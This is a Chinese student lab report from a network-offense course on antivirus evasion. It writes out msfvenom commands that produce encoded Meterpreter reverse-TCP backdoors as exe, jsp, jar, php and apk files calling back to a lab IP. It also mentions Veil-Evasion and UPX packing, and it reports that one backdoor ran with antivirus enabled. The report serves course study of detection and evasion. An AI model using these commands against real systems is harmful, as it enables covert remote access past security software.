zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175301李锦然《网络对抗技术》Exp3 免杀原理与实践

    2019-2020-2 20175301李锦然《网络对抗技术》Exp3 免杀原理与实践#

    目录

    1.实践目标

    (1l)任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
    (2)任务二:通过组合应用各种技术实现恶意代码免杀
    (3)任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    2.基础知识

    2.1免杀原理

    免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
    如果要做好免杀,就要清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。

    3.实验步骤

    3.11.正确使用msf编码器

    首先看看上次实验生成的文件只编译了一次的结果

    查杀结果来自VirusTotal网站
    输入代码
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.198.128 LPORT=5301 -f exe > encoded10.exe
    生成编译10次的后面程序

    证明了多编译几次不会有多的不同,照样会被杀软查杀,尤其是我的火绒查杀了好几次。

    3.2.msfvenom生成jsp文件

    使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=5301 x> 20175301jsp.jsp生成jsp文件

    火绒并没有检测出来

    3.3msfvenom生成jar文件

    使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=5301 x> 20175301jar.jar生成jar文件

    火绒也没有检测出来

    3.4msfvenom生成php文件

    使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=5301 x> 20175301php.php生成php文件

    火绒还是没有反应

    3.5msfvenom生成apk(安卓)文件

    使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=5301 x> 20175301apk.apk生成apk文件

    看起来火绒确实没什么用

    3.6使用veil-evasion生成后门程序

    下载veil的过程实在曲折,我参阅了许多不同的博客发现最后是缺少win文件
    而且不能使用sudo apt-get install win来安装
    最后采用了https://www.cnblogs.com/20175317zrw/p/12504140.html中的方法
    事实上在打这段字的时候他还在安装,安装速度很慢很慢


    最后实践证明veil的隐藏效果比没用好不了多少

    3.7 使用加壳工具UPX


    看到火绒查杀他我就没啥信心了

    3.8通过组合应用各种技术实现恶意代码免杀

    有一个已知方法就是使用veil中的其他载荷,在VirusTotal中可以达成0查询率

    方法来自博客https://www.cnblogs.com/20175317zrw/p/12504140.html

    3.9用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    刚才加壳的就可以

    4.实验中问题

    是严重的主要问题是在安装veil上,我做得比较后面而且喜欢参考别人的博客,实验中基本的问题都是这么解决的。我相信前人踏出的路能为后面的人创新搭一条便捷的路。

    5.问题回答

    1) 杀软是如何检测出恶意代码的?
    按照特征码,搜索病毒库,一对一vip检测(观察行为特征)
    2)免杀是做什么
    anti-杀软
    3)免杀的基本方法有哪些?
    改特征码,不要参照别人的病毒(别在病毒库里),改变行为特征
    4)开启杀软能绝对防止电脑中恶意代码吗?
    不能,刚才我就做到了。

  • 相关阅读:
    如何禁用 Azure 虚拟机的日期时间同步
    Java 如何启用 ARM 虚拟机诊断
    File类的源码学习
    Trie树学习
    Hadoop自带Sort例子分析
    java.io.IOException: Illegal partition for 67 (-1)
    Java IO、网络编程、NIO、Netty、Hessian、RPC、RMI的学习路线
    MapReduce中的排序(附代码)
    CAP理论学习
    Harvard数据库课程CS 265: Research Topics in Database Systems
  • 原文地址:https://www.cnblogs.com/lijinran/p/12629126.html
Copyright © 2011-2022 走看看